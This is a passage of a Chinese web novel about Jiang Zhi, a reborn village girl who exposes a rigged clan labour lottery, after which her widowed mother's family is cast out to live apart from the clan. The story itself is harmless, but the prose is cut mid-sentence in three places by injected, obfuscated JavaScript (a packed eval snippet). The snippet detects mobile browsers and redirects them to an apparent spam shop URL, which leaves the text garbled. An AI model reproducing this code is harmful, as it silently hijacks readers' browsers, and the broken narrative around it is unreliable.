林移桃原本从不信这些，后来听得多了，什么改运、借运，便忍不住往那处想。似乎就是从借门板给何七娘当棺材起，家里日子便一日难似一日，仿佛运道真被人掏空了似的。 她也成了寡妇，终日搓蓑衣、纺麻线、纳千层底，日子像浸在黄连水里，渐渐竟活成了何七娘的模样。 她知道村里人背着她说过，夭折横死的人沾不得，容易沾了厄运，甚至还有人说，运道这东西，就跟水缸里的水一样，你舀给别人一担，自家水缸就见了底。 这些没影的鬼话胡话，林移桃在人前从不认同，可深夜里实在熬不住，便不由得淌着泪骂丈夫心狠。但她终究是个良善妇人，怨不得半点别人，只说是自己的命不好。 从前姜织当鬼话听，如今她依旧不信。若命生来注定，若行善反会遭厄，那人还活个什么劲？她重活这一世，不就是老天爷许她回来改命的。 过年几日的亲朋温馨，像一场拌了糖的美梦，哄着苦熬一年的人能有心气继续捱下去。 转眼到初五，归家在即，美梦要醒了。 “织织，你们要走了啊，”表姐林花树有些依依不舍。 “死妮子，这么舍不得，过阵子你小姑家下秧苗，要你爹带你去就是！”廖氏一指头戳在女儿额上，姜家这么一大家子，尤其两个男孩，半大小子吃穷老子，就这几日功夫，险些吃光了她半缸子米，哪里还能招待得起。 “织织儿，”阿婆拉着她手到灶边，“跟你阿翁再说两句话。” 往年林移桃回娘家，临走时外翁阿婆总要千方百计塞些东西给她带上。 家里也无甚好物，年头好时拿些布米油粮，年头紧舅舅家都缺吃少穿，就只能包几把干酸腌菜，实在没得给，瓦罐碗坛、竹篾器具也要带走几只。 当然，这都是外翁和阿婆二老积攒的体己。 舅母廖氏脸色虽不好看，但外翁阿婆顾着小女外孙，明里暗里的贴补，她也硬拦不住。 姜织听娘说过，外翁林焦堂年轻时候四肢健全，体魄强壮，就是仗着自己身子骨硬朗，干活的时候用尽蛮力，从郏县到蓝田郡上百里的路程，几百斤的货物担着走，一天来回几个趟，久而久之，双腿生生走坏了，站都站不起来。 昔年外翁做走货郎，进项比老农强的多，家里日子过得有声有色，也娇惯坏了妻儿。 他腿坏后，阿婆险些哭瞎一对眼，但她只是个肩不能挑手不能提的弱女子，除了以泪洗面也没别的法子，养家的担子还是得靠外翁挑起来。 外翁腿不能动，手上的活儿还是能做，他就去跟了个篾匠老哥学编篾。买了刨刀锯凿，家里还劈了一块地出来种竹，他人聪敏能干，不到半年就出了师，寻常就做些簸箕、箩筐、提篼、背篓之类的贴补家用。 以前那会儿，外翁的篾匠老哥人好心善，经常帮衬外翁生意，主动给外翁介绍主顾，自己有大单活计了，为照顾外翁还让他帮着做活，钱粮也给的足。 后来外翁的篾匠好老哥去世了，让他儿子接了手艺，他儿子跟外翁又没有情义，自然不会再接济，反而附近村乡的生意都让他占了去，外翁的收入大不如前，家里日子苦巴巴，幸好儿女已经拉拢大，儿子娶了精明的媳妇儿，女儿也嫁了能干的丈夫，外翁总说自己功德圆满了。 近些年外翁身子不济，也就是靠给村上村下编些竹笼器具，攒几个小钱，到了过年小女林移桃回来，想方设法也要补贴几个。 因为姜织她爹姜顺时，就是他挑选看中的，当年外翁瞧姜顺时中眼，才肯把娇女嫁给他。 谁知姜顺时哪里都好，却是个短命的，留下一双嗷嗷待哺的儿女，害惨了林移桃，外翁嘴上不说，心里却内疚的很。 “织织，这几个钱，你拿着，”临走时，外翁那双粗糙如松柴的大手，罩在姜织手心里。 他满是皱纹的眼睛眯起，干瘪豁牙的嘴巴尽量压着声音，不让舅母听见：“回去就给你娘，可不要半路弄丢咯。” 姜织感知到手心沉甸甸带着温热的铜板，眼睛鼻子都在发酸发涨。 外翁编一个箩筐，费几天时间，才能得十来个钱。舅舅自己养家糊口也难，外翁跟外婆平常吃穿用度，都是靠二老自己挣，这一年到头，能攒几个子？ 估计这十来个铜板，就是他老人家全部的私房家当了！ 从前姜织人小娇蛮，丝毫不通人情世故，每逢过年来外翁家，总是要跟表姐林花树比这比那，回回都要拌嘴争吵，甚至动手打架。 她也从没体谅过外翁阿婆的难处，只觉得外翁腿坏了，窝在柴堆里，又脏又有味儿，说话也絮叨，开口就是让她要懂事知礼、体恤娘亲，说教个没停，姜织一听就烦。 到了如今，才算真正体味外翁他老人家的苦心慈爱。 姜织强忍着泪水，憋着红通通的眼睛，轻轻摇头：“外翁，您老人家自己留着，和阿婆花用。” 又说:“我自己去挣钱，多替娘亲分担，您放心，等我挣了钱，我买肉买米来看您。” 姜织没哭，外翁林焦堂眼睛倒跟着红了，他不住地握着姜织细嫩嫩的手，又怕自己手里的粗茧老皮刮伤她，只小心小力气的抚：“织织可算长大了，懂事了，你娘把你教的很好，外翁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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神使鬼差的，廖氏一掌轻拍在她额前，又揉了几揉，看起来竟颇有几分亲昵亲切，这可是自打姜织出身来头一遭，当即两舅侄都有些发愣。 片刻后，姜织又眉眼弯弯笑了起来，廖氏见鬼似的往前走，边走边嘀咕：“你这丫头快少笑些！” 姜织走前，又把那把钱塞回进了阿婆衣兜里。 姜织母子回了茶和山后，才发现舅舅把那块过了一个年还是完整的黄糖，偷偷敲了半块塞在林移桃的包袱里。 林移桃一看到糖，又忍不住要抹泪。 姜顺时在世那会，因姜织她外婆最喜吃蜜糖煮甜酒茶，每年农闲时去娘家，姜顺时总会先去城里买上几斤黄糖，包上一罐蜜、一提鸡蛋，再抱上一坛香甜醇美的糯米甜酒，把林移桃送到村口的牛车上，看着她走老远才肯回头。 到如今，黄糖成了稀罕物，过年时花树松茂都馋成那个样子，她舅母都没舍得敲开分一点，谁成想她舅一敲就分了大半块出来，过后还不定得被舅母念叨成什么样呢。 林移桃在思念丈夫伤怀，姜织却忍不住要琢磨生计了。 眼下难题一桩接一桩。快要见底的粮缸，开春的生计，姐姐姜纭的婚事，一家人的吃穿住用......样样愁得人展不开眉。 从正月初五回来，便是一轮接一轮的冬雨。 正像姜织模糊记忆里的那样。 今年，怕是个荒年。 14. 又来？ 天色尚是鸦青，外头灶房已传来拨柴起火的窸窣声，火种是昨夜烧剩后埋下的余烬，天寒，捱到清晨只余下微弱的猩红，在柴灰里头半明半灭。 姜织穿了衣衫走出来，她娘正歪着脖子举着吹火筒，照准那点子火炭呼气。 黑狗锅碳正趴在灶炉边，借着一丝余温以取暖，此刻火还没点着，它依偎在林移桃脚边呜呜咽咽。 呼噜噜的气流搅起一片烟灰，引火的松木绒因连日雨水浸潮，只冒烟，不起焰，林移桃眼睛眯着腮帮子鼓起：“呼——呼——” “咳咳咳！”火没生起，人反被烟灰呛得大声咳嗽起来。 “娘！”姜织连忙走出去，蹲在一旁替她娘鼓捣起火来。 锅碳一见姜织，顿时来了精神，起身一阵抖擞，跑到小主人脚边欢快地摇起尾巴，湿漉漉的鼻子直往她裤腿上蹭，浑身的灶灰经它那么一抖动，在空中纷纷扬扬。 整个屋子顿时烟雾缭绕，尘灰弥漫。 “锅碳！”姜织偏头使劲扇了几下灰，眯起眼睛将狗拎到一边：“别添乱。” 锅碳是姜织几年前在路边捡的。当时还是条又丑又生癞子、奄奄一息的幼狗，姜织偷偷将它捡回家，喂了点米汤，竟就活了过来，后头一直也没主人来寻，它就在姜家赖着就不肯走了。 林移桃起初不愿养狗，自家都没得吃拿什么养，但锅碳像是通人性一般，吃得极少又听话，日常拉屎撒尿，姜织教了几回，它便认准了屋后那棵桃树下，稍大些，它自己就会逮耗子、扑野雀，许少废家里的粮食。 锅碳日常不轻易吠叫烦人，但有生人或是瞧着不善的登门，它便龇牙低吼、凶相毕露，久了，便成了这孤儿寡母家的半个门神。 姜织摸了摸锅碳温热的脑袋，一边帮着她娘烧火，也没成，柴太湿，青烟熏得她憋出了泪花儿，火势反而越发弱。 还是做惯家务活的姜纭起来，从角落掏了些干草须，三下五除二吹起明火，不多时，松柴在灶膛里噼啪作响。 “屋里这点干柴烧完，往后几日起火更难了，”林移桃看着灶火发愁，连日冬雨，将她家晒在外头的柴禾都浇透了。 “谁将我们家柴垛都推倒了，”姜纭将熬粥的锅子架上灶台，怨道：“不然也不至于都湿透了。” “多半是那群猴孩，”林移桃骂：“成日捉迷藏，专门往柴火垛里钻。” “桃婶儿，你家火生起没？”不多时，屋下柳婶儿看见炊烟，在外头大声喊了句。 “生好了，你来吧。” 柳婶儿哆哆嗦嗦地边喊着冷边进来借火，她家灶台浅，埋的火易熄，三不五时就要来借回火。 林移桃就向她抱怨：“柳婶，让你家银元同那群顽猴说说，少来我家柴垛这捉迷藏，柴都倒了一地，叫雨水浇个饱。” “呀！这我回去得好好骂骂那兔崽子。”柳婶儿借了火，像是突然想起什么似的，“对咯，初二那日，我听你家锅碳汪汪叫得厉害，就出来瞅了瞅，好像瞧着永贵从你家柴垛那里走出来.....” 她话说了一半，又咽了回去，转了话头：“今儿族里该抽签派工了，还是让你家犁耙去么？这大小子手气实在不怎么样。” “我去，”姜织平静地接了一句，又往灶膛里添了把柴。 “织丫头去？”柳婶儿讶异一声：“你倒是个显强的，就是不知族长他们肯不肯让你个小丫头家抽劳役签......” 柳婶儿一走，林移桃禁不住啐骂：“永贵那缺德倒灶的，手脚要痒出脓了，来踹我家的柴垛，也不怕伤阴骘。” “多半是年前得罪他那回，他就是有仇要记三辈子的人，以后绕着他走。” “锅碳，记住了，以后我们不在家，机灵点，离姜永贵远点，他心黑，当心他害你，”姜织煞有介事地盯着锅碳乌溜溜的眼睛说。 黑狗似懂非懂地呜咽一声，又偎在主人脚边蹭了蹭。 姜犁和姜绪也都起了床，今儿是正月十五上元节。 族里要祭祖、课农桑，新一年的耕作自此开始了。 按照往年的习俗，先公后私，先安排族田的稼穑耕种，才轮到各家料理私田的事。 抽签是在族里最大的公田，星塘坳里举行。 这块公田位于浣溪边上，地势平坦，土膏肥沃，据说是先祖落脚开垦的地方，是族里的根脉之地。 冬雨暂歇，天还是阴翳翳的，乌灰的云层厚实地压在山头上，大片深褐色的田畈匍匐在地，一线冰冷浑浊的溪水哗啦啦流着，四处弥漫着湿漉漉的土腥味。 全族人口聚集在这里，村上村上还有许多外姓人来瞧热闹，整个田地里挤挤攘攘。 姜织一家到星塘坳时，人已经来了七七八八，众人缩着脖子、哈着白气，三三两两凑在一处低声闲聊着。 姜织头上的伤已好得差不多，只留下一道浅粉色的新疤藏在发间。姜纭今早特意给她挽了个垂挂髻，乌油油的头发从中分开梳成巧髻，这发式简单，却衬得她那张脸轮廓越发清晰，瘦小的鹅蛋脸，鼻子挺秀，唇形姣好，尤其那双眼睛，又大又亮，黑白分明。 连姜纭瞧着都忍不住夸了句，过了个年头，妹妹似乎长大了不少，初显少女模样了。 场上人拥拥挤挤，她一家人在人群里头并没有多么显眼。但不知怎么回事，姜织一来，姜十文一眼就望见了她。 少女穿着灰扑扑的旧袄，人小又纤细，但站在那里，像一株生长在石缝里的韧竹。 奚银花几个相熟的小姑娘也瞧见了姜织，立刻围了上来，似是瞧她换了个新发式，凑上去摸着她的发髻瞧稀奇，叽叽喳喳问东问西，不知道说了些什么笑话，几个姑娘抱着笑闹成一团。 冬日田野尽是灰败，但少女鲜妍，脆如黄鹂鸟的笑声格外鲜活悦耳，各家大人虽斥骂两句没规矩，但面上也是带着笑意。 姜十文的目光，不由自主地顿在了姜织那头。几缕碎发正柔柔地垂在她耳畔和颈后，随着她微微侧头听人说话，轻轻晃动着，一下下，若有若无地，挠得他心头生起细微的痒意。 辰时正，吉时到，由族长康克从穿一身簇新棉袍，站在祭台前。 祭田桌案上摆着蕨菜、豆腐、米酒等祭物，蕨菜扎成束，唤捆春寒，豆腐雕作犁头，名破板结，还有几片桑叶托着米酒，意为祈天时。 姜克从点了香，对着田土深深三揖，又拿起一把系了红布条的旧锄头，在田角郑重其事地挖下三锄，这便是“启土”礼，寓意春耕开始，大地回春。 礼毕，他转过身，面向黑压压的族人。脸上是惯常的三分笑意，目光缓缓扫过众人，最后在林移桃一家所在的位置似有若无地顿了一下。 “又是一年春，”他开口，声音不高，却稳稳地传开，“族田，是祖宗留下的基业，是咱们茶和山姜氏的根脉。春耕不等人，还是那句老话，有力出力，有智出智，全族一心，才能共渡时艰，对得起列祖列宗。” 祭祖仪式过后，就是抽签派工。 公田春耕、水渠清淤、祠堂修葺，一应活计排班派工就是凭签定。 因着年前分肉那场风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16973495|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波，姜克从特地点了林移桃的名，面上带笑道：“林氏，今儿你一家老小都在场，咱们把话说在前头，待会儿抽到什么就是什么，别再因为抽的签不中意甩我个没脸，我这个老脸禁不住一再刮。” “你说，这回谁来抽、什么时候抽？这回让你先选。” 族长本身就是说话三分笑的人，听他这样说，在场众人顿时低低高高地笑开，过年的喜庆还未散尽，过了一个年头，又是开春新年头的大吉日，年前那点风波已消了大半。 林移桃也不是个傻的，怎么可能再跟族长拗。 连忙将手从袖口抽出来，脸臊得慌，赔笑道：“族长说的哪里话，按规矩来就是，我们都听安排！” “那就好，”姜克从点点头，笑意不变，目光却似有若无地掠过姜织站的位置。 “开春头桩事，关系一年收成！活多活少、活重活轻的抱怨，都掂量着来！谁要是再敢造次，耽误了春耕，”他顿了顿，没往下说。 “不能！不能！”不必等他讲完，众人马上接腔，“再不懂事也不能在这事上闹。” “成，那便开始吧。”姜克从挥挥手。 规矩照旧，按族谱房头长幼顺序来。姜织她爹姜顺时排行三十九，不上不下，属中间位置。 主持摇签的是姜克从的长子姜尧生，族长、几位族老，以及姜克从的侄子姜永贵、账房先生姜田有等人，都在姜尧生身后或左右站着。 姜尧生身材粗壮、面色黝黑，捧着个暗红色的签筒站出来，签筒看着半新，但那签子很有些年头了，竹签削得一般粗细，每片竹片磨得发亮，只露个头，签尾都用墨笔写着字，倒扣在筒底，瞧不清内容。 被叫到的人家，当家的男人便上前，伸手从筒里抽出一根，交给旁边的账房姜田有念出来。 “长房三支姜永贵，公田背水塘犁地。”“二房一支姜仲福，水车修检，公田莲花塘抽水。” ...... 很快就轮到了姜顺时这一支。 “姜犁！”姜尧生一声喊，他声音粗犷，眼神直直扫过来。 姜犁深吸一口气，正要走上前，林移桃紧张地攥住了姜织的胳膊。 姜犁回头看了眼姜织，见妹妹对他使了个眼色，顿时眼一闭，伸手进去，抽出一根。 旁边账房姜田有接过，眯眼念道：“姜犁，青牛山脚公田开渠、引水守水。” “嗬！”众人顿时大笑：“犁耙这手气！哈哈哈。” “桃婶儿，这回是你亲眼看着的，心服口服了吧？” 林移桃霎时脸色发白。 众人皆在笑姜犁手气差，青牛山脚那片公田地势低洼，像个勺子，往年春雨一多就积水，引水开渠是最苦最累的活计之一，需在泥泞里挖沟、蹚冰水搬石头。 更要命的是后头“守水”二字，意味着从开渠到引水入田，再到秧苗生长期间，他都得负责看守水情，半夜起来巡田也是常事。这已不是几日的短工，几乎要绑死到夏初。 若是平常，咬牙也就熬了。可姜犁在城里周府的木工活还没完，工期紧得很，哪有这许多时日耗在族田里。 “就说你家犁耙手臭，织丫头不是说她抽吗？”柳婶儿挤到林移桃身边，小声嘀咕。 林移桃木着神没应声，姜织指甲扣进肉里，她听见“开渠”二字，犹如被劈，电光石火间，忽然不管不顾地喊了声：“族长！” “.......”场上的说笑静了一瞬。 众人看向姜织，竟诡异地有种“就知如此”的了然。 15. 骗局 林寡妇一家要是就这么认了，那可真对不起她们年前闹的那一场！姜克从脸上的笑僵了一刻，随即又和煦地散开，淡声应了句：“怎么了？织丫头。” 姜织三两步上前，一时没接话，眼睛只盯视着姜尧生手里的那签筒。 片刻后，她攥紧的手心有些出汗，定了定神，凑到姜克从身前，声音因急切和压抑的愤怒而有些颤：“我哥哥手气不好，我替他重抽一次。” “又来了——”姜十文站在不远处，抬手捂了下眼睛。 “胡闹！”族公一个个又气得鼻子胡子乱颤，“你你你，林氏，把你女儿领回去！” 姜织已抢先几步走到姜克从身边，语速急促却清晰：“族长今日不若让我试试，看这签文有没有灵性。” 她压着嗓音，意有所指，只有姜克从身旁几人听见，几个族公闻声老眼一瞪，带着震惊和气愤，直往她脸上剜。 姜克从的笑脸忍无可忍地沉了。 “林氏！”他一声喝。 “族长，”姜织截住话头，从姜犁手中夺过那支“开渠守水”的竹签，以迅雷不及掩耳之势，“啪”的一下抬手将签重新掷向签筒，一声脆响，众人错愕一瞬。 旋即又是满场哄笑，难不成这小丫头以为将签扔进去就不算数了？ “哈哈哈，织丫头，方才不若就你去抽！” 若是在以往，哪家的闺女敢在开春派工这等场合如此行事？简直想都不能想。但此刻，这一出近乎荒唐的举动，似乎像是在众人意料之中，场上看热闹的调笑声甚至压过叱骂声。 要不怎么有句俗话叫花子困街沿，得寸进尺。 这就是年前那回姜克从问都懒得问，只想一巴掌给林寡妇拍安分的缘故。 侥幸占了一回便宜的人，就容易张狂，忘了自己几斤几两，蹬鼻子上脸。 众人的哄笑，就是坏了规矩的后果。 姜克从忍了又忍，腮边的肌肉微微抽动，暗暗吐了一口浊气，想起年前那次肉碰刀的那阵痛，竭力将心里那股翻腾的邪火压了压。 他大儿姜尧生却没他爹这份养气功夫。 年前那事他不在场，只事后听说，心里早憋着股火，觉得自家爹被个丫头片子拿捏，简直丢份。此刻这小蹄子都张牙舞爪到面前来了，这哪里还能忍得住？姜尧生蒲扇般的大手一拍，站起身就要伸手来推。 “尧生哥！”姜犁立马将妹妹揽在身后，挡身在前。 “听说城里戏班子变戏法，有种签文叫‘落汗’，签筒里头能做文章，想要哪支，便能出哪支，”姜织却从姜犁身后探出头，仰着脸，目光直视着姜尧生愤怒的脸，声音放得快且轻：“开春这样的大吉日，关系到全族全年的收成，春耕大计，应当不会耍这样的手段吧？” 姜尧生神情大变，眼珠子瞪得几乎要吐凸出来，手陡地僵在半空，咬着牙：“臭丫头，你什么意思？” “你把这签筒，当众再摇一遍，让我重新抽一次。” 姜尧生脸涨成猪肝色，粗声粗气：“你说重抽就重抽，族里的规矩是你定的？！” “所以我只私下同你们商量，还是你想让我将之前的话喊出来，请大伙儿来辨认辨认？”姜织本身无意挑衅，嗓音依旧不高。 姜尧生一噎，脸色乍青乍白。 姜永贵在后头抱着胳膊站着，虽然没有听清楚两人交谈，但看他堂哥姜尧生气急败坏的脸，心底隐隐生出种快意，甚至快要笑出声了。 姜尧生听说了年前他被个丫头片子欺得下不来台这事，整整从初一笑到十五，笑他“骨头软成泥”“没点出息”。 看起来这事还能再笑个几年。 这次抽签的事姜永贵特地没有插手，他就站在一旁看好戏，看这林寡妇家到底是打量他姜永贵好说话才敢跳脚，还是疯狗一样，逮了谁都咬。 果然，姜织没有让他失望。 今日也让他这总是逞强好胜的大堂哥，也尝尝被疯狗不顾章法撕咬，偏在众目睽睽之下还不能还手的滋味。 姜永贵闲闲站定在后边，没再上前当愣头青。 不过遗憾的是，今日这里没有石狮子墙柱子，不然那林寡妇再来一回撞头喊冤，那臭丫头片子再来一回以死相搏，那才叫精彩好戏！ 姜尧生怒目圆睁，啪地一下摔了签筒，他在家里称王称霸惯了，一副烦得要打人的模样，“你敢？！” 签筒砸在湿硬的田埂上，发出一声闷响，竹签哗啦啦散落一地，粘上了褐色的泥浆。 “尧生！有话好好说，”当即有族老斥责道：“怎么能扔签筒！” “还怎么说！”姜尧生额上青筋显露，指着姜织鼻子，怒道：“茶和山的规矩都让这么个臭丫头彻底坏了，都是让你们给惯的！” “怎么了？怎么能摔签筒呢？” “还抽不抽了？” “又怎么了这是？顺时家丫头这次说什么了？” “族长，”也有人说：“姜丫头说要重抽，跟她好好说就是，尧生这脾气，就这么把签文摔了，兆头可不好。” 场面一时混乱，姜十文眼光一直无意识落在那明明脸色苍白，偏倔强地挺直背脊的少女身上，心里莫名揪了一下。 明明这事跟他毫无干系，对方从头至尾也没有看他半眼，但他的脚却不听使唤似的，再次迈了出去，从人群里挤到中间，当起了和事佬。 姜克从脸色难看地给了姜永贵等人一个眼神，姜永贵才上前走到大堂兄旁边，半是调笑，半是拱火说：“都说了，现在茶和山就是姜织那一家惹不起，她怎么说，你怎么做就是了，大哥，你说说你，扔什么签文。” “臭丫头！”姜尧生被激怒，一脚就朝着姜织方向踢过来，姜犁抱着妹妹险险侧身闪开,姜绪姜纭吓得失声尖叫：“姐姐！”“织织！” “汪汪汪！汪汪！”锅碳一直摇着尾巴守在附近，此刻见状，浑身的毛都炸了起来，龇着牙，喉咙里发出低沉的咆哮，作势欲扑。 “锅碳，回来！”姜织厉声喝道，同时急急看向人群里的奚银花。 奚银花正大惊失色，但也知不能叫锅碳此刻再去添乱，赶紧上前，轻轻踢了锅碳两脚，连赶带哄：“去！锅碳，一边去！” 锅碳平日常在奚银花家蹭食，跟她熟，虽不甘地低吼着，到底被她半推半拉地带远了。 “尧生哥！”姜十文劝解地喊，几个族里后生也连忙将姜尧生拦住，动族规是一回事，当众殴打族妹不像话，何况今日启土，村上村下许多外姓人都在这看着呢，打起来人不像话。 “这......怎么打起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16979509|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了？” “姜族长儿子这脾气也太差了点。” “有话好好说嘛，这又扔摔竹筒又是打人的。” “林氏，”姜克从捏着突突直跳的眉心，朝林移桃招了招手，声音里罕见地带着疲惫：“你过来。” 林移桃抖抖索索，拉着姜纭姜绪低着头站定在族长跟前。 “方才抽签前，我有没有同你好好说？你是怎么应承我的？”姜克从声音不大，却冷得发寒。 林移桃张了张嘴，已经不知如何回应了。族长话是没错，一开始也给足了她颜面，她也应了要守规矩听安排。若是年前那次不认账，还能说是被逼无奈，博得些同情，那今日就是可一不可再。 如若回回抽签都不认，那就真就站不住脚，大伙也会戳脊梁骨骂她娘几个胡搅蛮缠、贪得无厌。 可是，林移桃心口急剧跳动着，哪怕她面上满是惶然之色，但嘴硬是咬着不肯低头认错。 可是闺女方才说，那个签筒有鬼！签文能作假！ 这个念头像惊雷一样在她脑海里炸开，签文怎么会有假？抽签这个规矩，是从姜克从当上族长开始才兴起的，在老族长手上，族里大事都是族公们坐到一起商量着来，商量好了一言九鼎，一就是一二就是二，哪里还有旁人置喙的份儿。 是姜克从提出的新规矩，说是现在族里人多事杂，不像过去那样人少分工简单，为了避免说族公有私心，落下埋怨，不若遵循祖宗天意，按运势来，才想出抽签的法子，以示公正。 这些年来，逢大事公平抽签一直是茶和山姜氏对外引以为傲的体面事。 之前不是没怀疑过每次她家都抽到下等签有诈，但林移桃一直认为只是自家运势茶，加之姜犁老实，别人把好的都抽走了，留的差签给他。 她从未敢想，这公平公正的仪式，或许就是场彻头彻尾的骗局，就是走个过场、拿捏人的幌子。 如果是这样，那以往的分工、分肉，族长挂在嘴上的公平公正、祖宗家法，简直就是笑话。 此刻，那些签文散落在地上，沾满了污泥，被众人不经意间踩来踩去。 姜织趁乱一个箭步冲过去，从地上捡起了那只签筒。她手指在筒壁内侧飞快地摸索着，果然在靠近筒底的位置，有一处细微的凸起，方才姜尧生耍横摔筒，兴许就是怕这机关被人拆穿。 抽签那会儿，姜织一直盯准姜尧生的手上动作，她心存疑窦已久了。在哥哥上去抽的时候，只见姜尧生捧着签筒，看似随意，手指却在筒底轻轻一拨。 动作极快，若非姜织死盯着，又早有提防，根本看不出来。 姜织心口一阵狂跳，她终于确认，族里这抽签就是个幌子。 所谓公平、运势，全看是否合他们的意。穷门弱户没依仗，受了委屈就得打落牙齿和血吞。 她也知道有一不能有二的道理，寻死觅活、撒泼耍横多了，别人就只拿你当笑话看，但这回姜织仍是吞不下。 在听到挖渠的那一刻，她想起来了，前世娘借钱，压根不仅是因为她撞了头或是缺粮，更主要的，是因为哥哥！ 因为哥哥被派工挖渠，不小心摔了一跤，险些将腿摔断，所以他们家的日子才真正山穷水尽。 所以这回她还是要闹，这个签，绝对不能认。 16. 自立门户 姜克从是真没料到，林寡妇这房就是块滚刀肉，这么能闹腾，原先只是为了面上好看跟她客气两句，不成想，这一家真拿乔起来，将他看作病猫了。 耐心耗尽，姜克从朝他二儿子姜良生一挥手。 姜良生不似他大哥凶壮，长得尖嘴猴腮，浑身干瘦，一双吊梢眼里也满是脸戾气，他带着几个族丁上前，三两下便将林移桃一家扭住。 “织织，”奚银花惊叫一声，担忧地看向姜织，姜织朝她摇摇头，示意她无事。 自打姜织那回撞了头起，奚银花总觉得她隐隐有些不对劲，这些天也不见她多出来玩，可能就是大人口中所说，经历了大事，所以长大懂事了。 姜织手里的签筒被姜良生轻易就给夺了回去，对方凶神恶煞地啐了她一声。 今日可没有姜文贤之流再来帮她说话。 “织丫头，你这又是闹的哪一出？”人群里，姜仲福皱着眉头满脸无奈地问。 “我要看签，”姜织挣扎着。 “林氏，”姜克从不待她说完，径直打断她，声音冷得结冰，“你一家屡次三番不服签文，是想让着全族以你家为先，任你先选，索性同你姓林算了？” “不不，不敢，没有的事，”林移桃连忙摇头摆手，她咽了咽喉，声音颤抖着。心里关于那签筒有鬼的惊惧和愤怒，在族长积威之下，又开始退缩动摇，她犹豫着该不该将那骇人的猜测当众喊出来。 “你有什么不敢，既然你家总认为族里待你不公，我也不再说什么逐你出族、动族规之类的话，免得你家三丫头又扬言要去敲什么登闻鼓，我就一句，既然一而再认为族规待你不公，不若如此。” “你家索性自立门户，单过，”他声音干脆利索：“自此不必参与族中大小事务，族里也不再安排你家做任何劳务，这样可公平？” “不....不....”林移桃又摆手。 姜克从此刻已不想跟她多费口舌，扭过头与几个族公商量，不是将林移桃逐出族谱，而是让她如同外姓人一样，不参与族中事务，不享受公产收益，自然也不必承担族中派工。将来若是姜犁娶了亲，分了家再立门户，若还想再回族里来，届时再议。 几个族老捏须沉吟，这林氏一家年前闹了年后又闹，隔三岔五打族里的脸，确实是个烂刺头，这样安排还算稳妥，当即都点头同意。 姜克从便示意他二儿姜良生:“去，请里正来，立字据，做个公证”。 独立门户，这代表着不能再受族里庇护，名下田地要从族里公账分割出去，今后官府的各类征税、摊派、徭役，也得自家直接去应付，里正就是官面上作见证的人。 姜织一家被松开后，周围人都不由悄然退开一步，她家无形中便在人群里被孤零零隔开一个圈。 连柳婶儿几个都别开视线，眼神飘忽，没再凑上前来帮嘴说话。 “族长，”林移桃六神无主，凉意从心口蹿到四肢。她想喊冤，想把这不公正大声喊出来，但这一回，她心知肚明，就算喊出来也无用，揭了族里的老底，她家又能落什么好。 不似年前那次那般悲愤交加，林移桃只觉得悲哀无力，一种绝望悲凉自脚底蔓延。 “娘，”姜织挽住她僵直的手臂，用力握了握，朝她缓缓摇了摇头。 就在方才姜克从说出让她家自立门户这句话，她狂跳的心竟然奇异地落定了些，一个模糊的念头逐渐坚定。 这或许未尝不是塞翁失马，焉知非福。 姜良生很快跑了回来，喘着粗气：“爹，里正一家清早给丈母娘送元宵礼去了，说是晚上才能到家”。 姜克从板了脸，面上有些不悦。他转向面如土色的林移桃，冷声道：“既如此，待里正回来再写文书公证”。 说罢又朝众人挥手示意，族里分工继续。 之后的抽签再也没人敢多说半句。姜尧生被几个后生又是劝又是安抚地拉着一边，沉着脸拢着手做起监工。众人依次领了签文，交给姜田有做好登记，便低了头匆匆站回原地。整个场上的气氛早不复清晨时的热闹期待，欢声笑意像被泼了盆冰水，冻得死死的。 原本属于姜犁的分工，后边分派给了族里几家后生同做，由于是多出来的活儿，族长发话，分到挖渠的，每人每天除了正常贡分外，还能多分三两粟米作为补偿，当即便皆大欢喜，关于林寡妇一家而起的风波，也在一声声签文念派中冲淡了。 直到散了场，族长族老等人都视林移桃一家为空气般，眼风都没往这边扫一下，径直走了。 “林婶儿，”姜十文磨磨蹭蹭留到最后，十八岁的青年，身量已长成，站在料峭春寒里，很是打眼。纵然他眼睛都没好意思往姜织那里瞧一眼，但耳根子却不自觉地红了。 “晚上我让我爹去跟族长求求情，说说好话，今日幸好里正还没回来，这事......或许还有回旋的余地，”他声音不高，却说得郑重，带着年轻人天真的、无畏的热忱。 “多谢，多谢你了，”尽管心知多半无用，但此刻族里还有这么个后生愿意帮忙说话，林移桃已是感激不尽。 “十文！走了，”姜伯福远远瞧见自家儿子还在那多管闲事，顿时一声吼。 姜十文来不及多说什么，只朝林移桃点点头，又极快地偷偷朝姜织站的方向瞥了一眼，只看见她微垂的侧脸和紧抿的唇角，便抬脚快步跟上了他爹。 林移桃一回家，就头晕目眩，再也撑不住地倒在床上了。 她是叫心里这口郁气给堵的。 她气世道不公，专挑软柿子捏，又怨这吃人的世道，为什么独独待她家如此苛刻，更恨自己没用，护不住儿女也争不回一口气。 